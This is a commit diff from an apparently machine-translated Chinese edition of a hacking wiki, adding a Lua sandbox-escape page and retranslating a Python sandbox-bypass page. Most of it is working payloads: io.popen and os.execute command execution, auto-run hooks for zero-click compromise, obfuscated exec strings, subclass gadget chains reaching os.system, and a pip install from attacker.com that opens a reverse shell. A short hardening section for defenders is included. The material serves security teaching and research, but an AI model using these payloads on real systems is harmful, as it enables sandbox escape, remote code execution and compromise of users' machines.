Translated ['src/generic-methodologies-and-resources/python/bypass-pytho

This commit is contained in:
Translator 2025-09-03 10:49:01 +00:00
parent 5be6441a1e
commit b8298e76bc
3 changed files with 212 additions and 103 deletions

View File

@ -80,6 +80,8 @@
- [Bruteforce hash (few chars)](generic-methodologies-and-resources/python/bruteforce-hash-few-chars.md)
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
# 🧙‍♂️ Generic Hacking
@ -926,13 +928,4 @@
- [Post Exploitation](todo/post-exploitation.md)
- [Investment Terms](todo/investment-terms.md)
- [Cookies Policy](todo/cookies-policy.md)
- [Readme](blockchain/blockchain-and-crypto-currencies/README.md)
- [Readme](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md)
- [Readme](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md)
- [Readme](pentesting-web/web-vulnerabilities-methodology/README.md)
- [Readme](reversing/cryptographic-algorithms/README.md)
- [Readme](reversing/reversing-tools/README.md)
- [Readme](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md)

View File

@ -0,0 +1,114 @@
# Bypass Lua sandboxes (embedded VMs, game clients)
{{#include ../../../banners/hacktricks-training.md}}
本页收集了用于枚举并从嵌入在应用中的 Lua “sandboxes” 中突破的实用技术(尤其是 game clients、plugins 或应用内脚本引擎)。许多引擎暴露了受限的 Lua 环境,但仍会留下可访问的强大 globals如果暴露 bytecode loaders就可能实现任意命令执行甚至本机内存损坏。
关键思路:
- 把 VM 当作未知环境来处理:枚举 _G发现哪些危险的 primitives 可达。
- 当 stdout/print 被屏蔽时,滥用任何 in-VM 的 UI/IPC 通道作为输出汇点以观察结果。
- 如果 io/os 可用通常可以直接执行命令io.popen、os.execute
- 如果暴露了 load/loadstring/loadfile执行精心构造的 Lua bytecode 可能会在某些版本中破坏内存安全≤5.1 的 verifiers 可被绕过5.2 已移除 verifier从而实现高级利用。
## 枚举 the sandboxed environment
- 转储 global environment以清点可访问的 tables/functions
```lua
-- Minimal _G dumper for any Lua sandbox with some output primitive `out`
local function dump_globals(out)
out("=== DUMPING _G ===")
for k, v in pairs(_G) do
out(tostring(k) .. " = " .. tostring(v))
end
end
```
- 如果没有 print() 可用,可重用 in-VM channels。以下示例来自一个 MMO housing 脚本 VMchat 输出只有在 sound call 之后才生效;下面构建了一个可靠的输出函数:
```lua
-- Build an output channel using in-game primitives
local function ButlerOut(label)
-- Some engines require enabling an audio channel before speaking
H.PlaySound(0, "r[1]") -- quirk: required before H.Say()
return function(msg)
H.Say(label or 1, msg)
end
end
function OnMenu(menuNum)
if menuNum ~= 3 then return end
local out = ButlerOut(1)
dump_globals(out)
end
```
将此模式泛化到你的目标:任何接受字符串的 textbox、toast、logger 或 UI callback 都可以作为 stdout 用于 reconnaissance。
## 如果 io/os 被暴露则可直接执行命令
如果 sandbox 仍然暴露标准库 io 或 os你很可能立即获得命令执行
```lua
-- Windows example
io.popen("calc.exe")
-- Cross-platform variants depending on exposure
os.execute("/usr/bin/id")
io.popen("/bin/sh -c 'id'")
```
- 执行发生在客户端进程内;许多阻止外部调试器的 anti-cheat/antidebug 层不会阻止 in-VM 进程创建。
- 还要检查package.loadlib (arbitrary DLL/.so loading)、require with native modules、LuaJIT's ffi (if present)、以及 debug library可能在 VM 内提升权限)。
## Zero-click triggers via auto-run callbacks
如果宿主应用将脚本推送到客户端,且 VM 暴露 auto-run hooks例如 OnInit/OnLoad/OnEnter在脚本加载时立即将 payload 放到这些钩子中以实现 drive-by compromise
```lua
function OnInit()
io.popen("calc.exe") -- or any command
end
```
任何等效的回调OnLoad、OnEnter 等)都会在脚本被自动传输并在客户端执行时使该技术泛化。
## 在 recon 期间要寻找的危险原语
在对 _G 进行枚举时,特别注意查找:
- io、osio.popen、os.execute、file I/O、env access。
- load、loadstring、loadfile、dofile执行源代码或字节码支持加载不受信任的字节码。
- package、package.loadlib、require动态库加载和模块暴露面。
- debugsetfenv/getfenv≤5.1、getupvalue/setupvalue、getinfo以及 hooks。
- LuaJIT-onlyffi.cdef、ffi.load用于直接调用本地代码。
最小使用示例(如果可达):
```lua
-- Execute source/bytecode
local f = load("return 1+1")
print(f()) -- 2
-- loadstring is alias of load for strings in 5.1
local bc = string.dump(function() return 0x1337 end)
local g = loadstring(bc) -- in 5.1 may run precompiled bytecode
print(g())
-- Load native library symbol (if allowed)
local mylib = package.loadlib("./libfoo.so", "luaopen_foo")
local foo = mylib()
```
## 可选的权限提升:滥用 Lua bytecode loaders
当 load/loadstring/loadfile 可达但 io/os 受限时,执行精心构造的 Lua bytecode 可能导致内存泄露和破坏原语。关键要点:
- Lua ≤ 5.1 附带一个已知可被绕过的 bytecode verifier。
- Lua 5.2 完全移除了 verifier官方立场应用程序应直接拒绝预编译的 chunks如果不禁止 bytecode 加载,则扩大了攻击面。
- 典型流程:通过 in-VM 输出 leak pointers构造 bytecode 以制造类型混淆(例如围绕 FORLOOP 或其他 opcodes然后转向 arbitrary read/write 或 native code execution。
该路径与 engine/version 相关,并且需要 RE。详见 references 中的深入分析、利用原语和游戏中的示例 gadgetry。
## Detection and hardening notes (for defenders)
- 服务器端:拒绝或重写用户脚本;白名单安全 APIs移除或绑定为空 io、os、load/loadstring/loadfile/dofile、package.loadlib、debug、ffi。
- 客户端:以最小 _ENV 运行 Lua禁止 bytecode 加载,重新引入严格的 bytecode verifier 或签名校验,并阻止客户端进程创建子进程。
- 遥测:在 script 加载后不久检测到 gameclient → 子进程创建时触发告警;与 UI/chat/script 事件进行关联。
## References
- [This House is Haunted: a decade old RCE in the AION client (housing Lua VM)](https://appsec.space/posts/aion-housing-exploit/)
- [Bytecode Breakdown: Unraveling Factorio's Lua Security Flaws](https://memorycorruption.net/posts/rce-lua-factorio/)
- [lua-l (2009): Discussion on dropping the bytecode verifier](https://web.archive.org/web/20230308193701/https://lua-users.org/lists/lua-l/2009-03/msg00039.html)
- [Exploiting Lua 5.1 bytecode (gist with verifier bypasses/notes)](https://gist.github.com/ulidtko/51b8671260db79da64d193e41d7e7d16)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,12 +1,12 @@
# 绕过 Python 沙箱
# Bypass Python sandboxes
{{#include ../../../banners/hacktricks-training.md}}
这些是一些绕过 python 沙箱防护并执行任意命令的技巧。
这些是一些绕过 Python sandbox 保护并执行任意命令的技巧。
## 命令执行库
首先需要知道的是,您是否可以使用某些已导入的库直接执行代码,或者是否可以导入以下任一库:
首先你需要知道的是,是否可以直接利用已导入的某个库执行代码,或者是否可以 import 下列任意库:
```python
os.system("ls")
os.popen("ls").read()
@ -39,21 +39,21 @@ open('/var/www/html/input', 'w').write('123')
execfile('/usr/lib/python2.7/os.py')
system('ls')
```
Remember that the _**open**_ and _**read**_ functions can be useful to **read files** inside the python sandbox and to **write some code** that you could **execute** to **bypass** the sandbox.
请记住_**open**_ 和 _**read**_ 函数在 python sandbox 中非常有用:可以 **读取文件**,也可以 **写入一些代码**,你可以 **执行** 这些代码来 **bypass** sandbox。
> [!CAUTION] > **Python2 input()** 函数允许在程序崩溃之前执行 python 代码。
Python 会尝试 **首先从当前目录加载库**(下面的命令将打印 python 从哪里加载模块): `python3 -c 'import sys; print(sys.path)'`
Python 会尝试 **优先从当前目录加载库**(下面的命令会打印出 python 从哪里加载模块): `python3 -c 'import sys; print(sys.path)'`
![](<../../../images/image (559).png>)
## Bypass pickle sandbox with the default installed python packages
### 默认包
### Default packages
You can find a **list of pre-installed** packages here: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
注意:从 pickle 中你可以让 python env **import arbitrary libraries**(系统中已安装的库)。\
For example, the following pickle, when loaded, is going to import the pip library to use it:
注意,从一个 pickle 你可以让 python env **import 系统中已安装的任意库**。\
例如,下面这个 pickle 在被加载时会 import pip 库以供使用:
```python
#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
@ -66,32 +66,32 @@ return (pip.main,(["list"],))
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
```
有关 pickle 工作原理的更多信息,请参见 [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
有关 pickle 工作原理的更多信息,请查看 [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
### Pip package
### Pip
技巧**@isHaacK** 分享
**@isHaacK** 分享的技巧
如果你可以访问 `pip``pip.main()`,你可以安装任意软件包并通过调用以下命令获取一个 reverse shell
如果你可以访问 `pip``pip.main()`,你可以安装任意包并通过调用获得 reverse shell:
```bash
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```
你可以在此下载用于创建 reverse shell 的包。请注意,在使用前你应该 **解压它,修改 `setup.py`,并将你的 IP 填入用于 reverse shell**
你可以在此下载用于创建 reverse shell 的包。请注意,在使用之前你应该 **解压它、修改 `setup.py`,并将你的 IP 填入 reverse shell**
{{#file}}
Reverse.tar (1).gz
{{#endfile}}
> [!TIP]
> 这个包名为 `Reverse`。不过,它是特别制作的,当你退出 reverse shell 时其余的安装会失败,因此你在离开时**不会在服务器上留下额外的 python package**。
> 该包名为 `Reverse`。不过,它被特别制作为当你退出 reverse shell 时安装的其余部分会失败,因此你离开后**不会在 server 上留下任何额外的 python package**。
## 使用 eval 执行 python 代码
## 在 python 中使用 eval
> [!WARNING]
> 注意 exec 允许多行字符串和 ";",但 eval 不允许(查看 walrus operator
> 请注意exec 允许多行字符串和 ";",但 eval 不允许(参考 walrus operator
如果某些字符被禁止,你可以使用 **hex/octal/B64** 表示法来 **绕过** 限制:
如果某些字符被禁止,你可以使用 **hex/octal/B64** 表示来**绕过**该限制:
```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -112,7 +112,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
```
### 其他允许 eval python code 的库
### 其他允许 eval python 代码的库
```python
#Pandas
import pandas as pd
@ -126,15 +126,15 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
```
另见 PDF 生成器中的真实场景 sandboxed evaluator escape
另见在 PDF 生成器中的真实世界沙箱化求值器逃逸
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). 它利用 rl_safe_eval 从被求值的属性(例如字体颜色)访问 function.__globals__ 和 os.system并返回一个有效值以保持渲染稳定。
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733)。它滥用 rl_safe_eval从被求值的属性例如字体颜色)访问 function.__globals__ 和 os.system并返回一个有效值以保持渲染稳定。
{{#ref}}
reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
{{#endref}}
## 运算符小技巧
## 运算符小技巧
```python
# walrus operator allows generating variable inside a list
## everything will be executed in order
@ -145,7 +145,7 @@ reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
```
## 通过编码绕过防护 (UTF-7)
在 [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) 中UFT-7 被用来在一个表面上的 sandbox 内加载并执行任意 python 代码:
在 [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) 中UFT-7 被用来在一个看似受限的 sandbox 中加载并执行任意 python 代码:
```python
assert b"+AAo-".decode("utf_7") == "\n"
@ -158,9 +158,9 @@ return x
```
也可以使用其他编码绕过它,例如 `raw_unicode_escape``unicode_escape`
## 在不允许进行调用的 Python 环境中执行
## Python 在无法发起调用时的执行
如果你处在一个 python jail(沙箱)中,且 **不允许你进行调用**,仍有一些方法可以 **执行任意函数、代码****命令**
如果你处在一个 python jail 中,**不允许你发起调用**,仍然有一些方法可以**执行任意函数、code****命令**
### 使用 [decorators](https://docs.python.org/3/glossary.html#term-decorator) 的 RCE
```python
@ -184,13 +184,13 @@ X = exec(X)
@'__import__("os").system("sh")'.format
class _:pass
```
### RCE 创建对象重载
### RCE 创建对象重载
如果你可以 **声明一个类****创建该类的一个对象**,你就可以 **编写/覆盖不同的方法**,这些方法可以被 **触发****无需** **直接调用它们**。
如果你能够 **声明一个类****创建该类的对象**,你就可以 **编写/重写不同的方法**,这些方法可以在 **被触发****无需直接调用**。
#### RCE 使用自定义类
#### 使用自定义类的 RCE
你可以修改一些 **类方法** (_通过重写现有类方法或创建一个新类_),使它们在 **触发** **执行任意代码**,而无需直接调用它们。
你可以修改一些 **类方法** (_通过重写现有类方法或创建新类_),使它们在 **触发** **执行任意代码**,而无需直接调用它们。
```python
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
@ -242,7 +242,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
```
#### 使用 [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses) 创建对象
metaclasses 允许我们做的关键事情是,通过创建一个以目标类为元类的新类,**在不直接调用构造函数的情况下创建一个类的实例**。
关键在于,元类允许我们通过创建一个以目标类为元类的新类,**直接创建类的实例而不调用构造函数**。
```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
@ -257,9 +257,9 @@ Sub['import os; os.system("sh")']
## You can also use the tricks from the previous section to get RCE with this object
```
#### 使用异常创建对象
#### 通过 exceptions 创建对象
一个 **exception is triggered** 时,会 **created** 一个类型为 **Exception** 的对象,无需你直接调用构造函数(来自 [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez) 的技巧):
**exception 被触发**时,会创建一个**Exception**对象,而你无需直接调用 constructor (该技巧来自 [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
```python
class RCE(Exception):
def __init__(self):
@ -301,7 +301,7 @@ __iadd__ = eval
__builtins__.__import__ = X
{}[1337]
```
### 读取包含 builtins 帮助与许可证的文件
### 使用 builtins help 与 license 读取文件
```python
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
@ -315,17 +315,17 @@ pass
- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
如果你能够访问 **`__builtins__`** 对象,你就可以导入库(注意这里你也可以使用最后一节中所示的其他字符串表示法):
如果你可以访问 **`__builtins__`** 对象,你可以导入库(注意这里你也可以使用在最后一节中展示的其他字符串表示法):
```python
__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")
```
### No Builtins
### 没有 `__builtins__`
当没有 `__builtins__` 时,你将无法导入任何模块,甚至不能读取或写入文件,因为 **所有全局函数**(比如 `open``import``print`...**都未被加载**。\
不过,**默认情况下 python 会在内存中导入许多模块**。这些模块看起来可能是无害的,但其中一些模块内部也**导入了危险**的功能,这些功能可以被访问以获得甚至**任意代码执行**。
没有 `__builtins__` 时,你将无法导入任何东西,甚至无法读取或写入文件,因为 **所有全局函数**(像 `open`, `import`, `print`...**未被加载**。\
然而,**默认情况下 python 会在内存中导入许多模块**。这些模块看起来可能很无害,但其中有些模块**也在内部导入了危险的功能**可以被访问以获得甚至**任意代码执行**。
在下面的示例中,你可以看到如何**滥用**这些已加载的“**无害**”模块,以**访问**其中的**危险**功能。
下示例中,你可以看到如何**滥用**这些已加载的“**无害**”模块,以**访问**它们内部的**危险**功能。
**Python2**
```python
@ -367,9 +367,9 @@ get_flag.__globals__['__builtins__']
# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
```
[**下面有一个更大的函数**](#recursive-search-of-builtins-globals) 以查找数十/**数百**个可以找到 **builtins****位置**。
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) 用于查找数十/**数百**个**位置**,您可以在这些位置找到 **builtins**。
#### Python2 Python3
#### Python2 and Python3
```python
# Recover __builtins__ and make everything easier
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
@ -383,9 +383,9 @@ __builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands
# See them below
```
## 全局和局部
## Globals and locals
检查 **`globals`** 和 **`locals`** 是了解你可以访问哪些内容的好方法。
检查 **`globals`** 和 **`locals`** 是了解你可以访问内容的好方法。
```python
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
@ -409,15 +409,15 @@ class_obj.__init__.__globals__
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
```
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) 以查找数十/**数百**个**位置**,您可以在这些位置找到**globals**
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) 用于查找数十/**数百** 个可以找到 **globals****位置**
## 发现任意执行
在这里我想解释如何更容易地发现已加载的**更危险的功能**并提出更可靠的利用方法。
在这里我想解释如何轻松发现 **已加载的更危险功能** 并提出更可靠的利用方法。
#### 使用绕过方法访问子类
该技术最敏感的部分之一是能够**访问基类的子类**。在前的示例中这是通过 `''.__class__.__base__.__subclasses__()` 完成的,但还有**其他可能的方法**
该技术最敏感的部分之一是能够 **访问基类的子类**。在前的示例中这是通过 `''.__class__.__base__.__subclasses__()` 完成的,但还有 **其他可能的方法**
```python
#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
@ -447,16 +447,16 @@ defined_func.__class__.__base__.__subclasses__()
```
### 查找已加载的危险库
例如,知使用库 **`sys`** 可以 **import arbitrary libraries**,你可以搜索所有 **modules loaded that have imported sys inside of them**
例如,知使用库 **`sys`** 可以 **import arbitrary libraries**,你可以搜索所有 **modules loaded that have imported sys inside of them**
```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
```
有很多,但**我们只需要一个**来执行命令:
有很多,而**我们只需要一个**来 execute commands:
```python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
```
我们可以对**其他库**(我们知道可用于**执行命令**做同样的事情:
我们可以对我们知道可以用来**执行命令**的**其他库**做同样的事情:
```python
#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
@ -491,7 +491,7 @@ defined_func.__class__.__base__.__subclasses__()
#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
```
此外,我们可以搜索哪些模块正在加载恶意库:
此外,我们甚至可以搜索哪些模块正在加载恶意库:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names:
@ -510,7 +510,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
pdb:
"""
```
此外,如果你认为 **其他库** 可能能够 **调用函数来执行命令**,我们也可以在可能的库中 **按函数名称过滤**
此外,如果你认为 **other libraries** 可能能够 **invoke functions to execute commands**,我们也可以在可能的 libraries 中 **filter by functions names**
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
@ -546,7 +546,8 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
## 递归搜索 Builtins, Globals...
> [!WARNING]
> 这真是**太棒了**。如果你正在**寻找像 globals, builtins, open 或任何其他对象**,只需使用此脚本来**递归地查找可以找到该对象的位置。**
> 这真是 **太棒了**
> 如果你正在 **寻找像 globals, builtins, open 或任何其他对象**,只需使用此脚本来 **递归地查找可以找到该对象的地方。**
```python
import os, sys # Import these to find more gadgets
@ -662,7 +663,7 @@ print(SEARCH_FOR)
if __name__ == "__main__":
main()
```
可以在此页面查看该脚本的输出:
可以在此页面查看该脚本的输出:
{{#ref}}
https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md
@ -670,7 +671,7 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-
## Python Format String
如果你 **发送** 一个 **字符串** 给 python且该字符串将被 **格式化**,你可以使用 `{}` 来访问 **python 内部信息**。例如,你可以使用之前的例子来访问 globals 或 builtins。
如果你 **send** 一个将被 **formatted****string** 给 python你可以使用 `{}` 来访问 **python internal information.** 你可以使用之前的示例来访问 globals 或 builtins。
```python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
@ -690,16 +691,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
```
注意你可以`people_obj.__init__` 那样使用 **点** 以正常方式访问属性,以及使用不带引号的 **中括号** 访问 dict 元素,例`__globals__[CONFIG]`
注意你可以**点** 的常规方式访问属性,例如 `people_obj.__init__`,并可以用 **方括号**(不带引号)访问 **dict 元素**`__globals__[CONFIG]`
另外注意你可以使用 `.__dict__` 来枚举对象的元素,例如 `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
另外注意你可以使用 `.__dict__` 来枚举对象的元素,例如 `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
格式化字符串的另一个有趣特性是可以通过在目标对象后添加 **`!s`**, **`!r`**, **`!a`** 来分别执行 **`str`**, **`repr`** 和 **`ascii`** 函数
格式化字符串的另一个有趣特性是可以在指定对象上执行函数 **`str`**、**`repr`** 和 **`ascii`**,方法是在后面分别添加 **`!s`**、**`!r`**、**`!a`**
```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)
```
此外,可以在类中 **code new formatters**
此外,可以在类中**编写新的格式化器**
```python
class HAL9000(object):
def __format__(self, format):
@ -710,17 +711,17 @@ return 'HAL 9000'
'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.
```
**更多示例**:关于 **format** **string**示例可以在 [**https://pyformat.info/**](https://pyformat.info) 找到
**更多示例**:关于 **format** **string**更多内容可见 [**https://pyformat.info/**](https://pyformat.info)
> [!CAUTION]
> 还请查看以下页面,了解会 r**ead sensitive information from Python internal objects** 的 gadgets
> 另请查看以下页面,包含能够 r**ead sensitive information from Python internal objects** 的 gadgets
{{#ref}}
../python-internal-read-gadgets.md
{{#endref}}
### 敏感信息露 Payloads
### 敏感信息露 Payloads
```python
{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
@ -740,18 +741,19 @@ str(x) # Out: clueless
来自 [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
### From format to RCE loading libraries
### 从 format 到 RCE 加载库
According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python.
根据 [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/),可以滥用 format string vulnerability in python 从磁盘加载任意库。
作为提醒,每次在 python 中执行一个操作时,都会调用某个函数。例如 `2*3` 会执行 **`(2).mul(3)`**,或者 **`{'a':'b'}['a']`** 会执行 **`{'a':'b'}.__getitem__('a')`**。
提醒一下,每当在 python 中执行某个操作时,都会调用相应的函数。例如 `2*3` 会执行 **`(2).mul(3)`**,或者 **`{'a':'b'}['a']`** 会执行 **`{'a':'b'}.__getitem__('a')`**。
章节 [**Python execution without calls**](#python-execution-without-calls) 中有更多类似的内容
更多类似例子见章节 [**Python execution without calls**](#python-execution-without-calls)。
A python format string vuln doesn't allow to execute function (it's doesn't allow to use parenthesis), so it's not possible to get RCE like `'{0.system("/bin/sh")}'.format(os)`.\
但是,可以使用 `[]`。因此,如果某个常见的 python 库具有会执行任意代码的 **`__getitem__`** 或 **`__getattr__`** 方法,就可以滥用它们以获得 RCE。
python 的 format string vuln 不允许执行函数(它不允许使用圆括号),因此无法像 `'{0.system("/bin/sh")}'.format(os)` 那样获得 RCE。\
在 python 中寻找这种 gadget 时writeup 给出了这个 [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code)。他在那里发现了这个 [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463)
